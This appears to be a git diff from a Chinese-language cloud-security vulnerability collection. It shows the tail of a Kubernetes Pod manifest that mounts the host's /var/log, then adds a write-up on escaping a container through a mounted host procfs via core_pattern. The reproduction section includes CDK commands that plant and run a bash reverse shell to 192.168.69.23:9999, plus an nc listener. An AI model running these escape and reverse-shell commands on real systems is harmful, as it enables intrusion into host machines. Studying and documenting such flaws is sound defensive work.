||||
kind: Pod
|
||||
metadata:
|
||||
name: mount-var-log
|
||||
namespace: metarget
|
||||
spec:
|
||||
serviceAccountName: logger
|
||||
containers:
|
||||
- name: escaper
|
||||
image: danielsagi/kube-pod-escape
|
||||
imagePullPolicy: IfNotPresent
|
||||
volumeMounts:
|
||||
- name: logs
|
||||
mountPath: /var/log/host
|
||||
volumes:
|
||||
- name: logs
|
||||
hostPath:
|
||||
path: /var/log/
|
||||
type: Directory
|
||||
```
|
||||
53
云安全漏洞/挂载宿主机 procfs 系统导致容器逃逸.md
Normal file
@ -0,0 +1,53 @@
|
||||
# 挂载宿主机 procfs 系统导致容器逃逸
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
procfs 是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 user namespace 时(Docker 默认情况下不会为容器开启 user namespace)。
|
||||
|
||||
一般来说,我们不会将宿主机的 procfs 挂载到容器中。然而,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来。
|
||||
|
||||
procfs 中的 `/proc/sys/kernel/core_pattern` 负责配置进程崩溃时内存转储数据的导出方式。从 [手册](http://man7.org/linux/man-pages/man5/core.5.html) 中我们能获得关于内存转储的详细信息,关键信息如下:
|
||||
|
||||
> 从 2.6.19 内核版本开始,Linux 支持在 `/proc/sys/kernel/core_pattern` 中使用新语法。如果该文件中的首个字符是管道符 `|`,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
|
||||
|
||||
我们可以利用上述机制,在挂载了宿主机 procfs 的容器内实现逃逸。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://docs.docker.com/engine/security/userns-remap/
|
||||
- http://man7.org/linux/man-pages/man5/core.5.html
|
||||
- https://github.com/cdk-team/CDK
|
||||
|
||||
## 环境搭建
|
||||
|
||||
通过以下命令启动一个漏洞环境,下载 [cdk](https://github.com/cdk-team/CDK),将其拷贝进容器:
|
||||
|
||||
```
|
||||
docker run -v /root/cdk:/cdk -v /proc:/host_proc --rm -it ubuntu bash
|
||||
```
|
||||
|
||||
宿主机的 procfs 在容器内部的挂载路径是 `/host-proc`。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
我们利用 cdk 写入反弹 shell 并执行:
|
||||
|
||||
```
|
||||
./cdk run mount-procfs /host_proc 'echo "/bin/bash -i >& /dev/tcp/192.168.69.23/9999 0>&1" > /tmp/rev'
|
||||
./cdk run mount-procfs /host_proc "chmod +x /tmp/rev"
|
||||
./cdk run mount-procfs /host_proc "bash /tmp/rev"
|
||||
|
||||
|
||||
# 或者直接执行:
|
||||
# ./cdk run mount-procfs /host_proc "bash -c '/bin/bash -i >& /dev/tcp/192.168.69.23/9999 0>&1'"
|
||||
```
|
||||
|
||||

|
||||
|
||||
成功接收:
|
||||
|
||||
```
|
||||
nc -vvl 9999
|
||||
```
|
||||
|
||||

|
||||